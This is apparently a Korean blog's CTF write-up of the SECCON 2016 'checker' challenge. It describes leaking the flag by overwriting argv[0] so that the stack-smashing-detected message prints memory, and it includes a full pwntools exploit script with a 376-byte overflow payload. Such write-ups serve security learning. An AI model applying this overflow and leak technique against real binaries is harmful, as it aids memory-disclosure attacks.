본문 바로가기

ctf

[SECCON 2016 CTF] checker

#file checker

checker: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=93df47896b068ea44ddcd0b97780375cd589987e, not stripped

[*] '/ctf/checker'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

NX, Canary, Full RELRO 가 걸려있는 64bit 바이너리이다.

 

해당 바이너리이다. 처음 문제를 풀 때 분석은 크게 어렵지 않았지만 꽤나 고생했다.

read_flag 해주는 함수로 return address 를 변경하면 되는데, canary 로 인해 return address를 컨트롤 할 수 없었다.

그래서 canary leak 벡터를 찾기 위해 분석했지만 찾지 못했다. 검색 중 "stack smashing detected : 파일명" 에서 argv[0] 의 파일명을 조작하여 memory leak 하는 내용을 보게 되어 시도해서 풀어냈다.

 

# exploit.py

 from pwn import *


binary = ELF('./checker')
p = process('./checker')

flag = 0x6010c0


payload = 'C' * 376 + p64(flag)

p.recvuntil('NAME : ')
p.sendline('woosunbi')

 

# remove return address's null byte
for i in range(8):
        print p.recvuntil('>> ')
        p.sendline('A' *(384 - i))


print p.recvuntil('>> ')

p.sendline('yes')
print p.recvuntil('FLAG : ')

p.sendline(payload)
p.interactive()

'ctf' 카테고리의 다른 글

[Christmas 2016 CTF] solo  (0) 2017.02.04
[TJCTF 2016 CTF] oneshot  (0) 2017.01.20
[WITHCON 2016 CTF] malloc  (0) 2017.01.17
[Defcamp 2016 CTF] warm_heap  (0) 2017.01.14
[pwnable.kr] cmd2  (0) 2017.01.13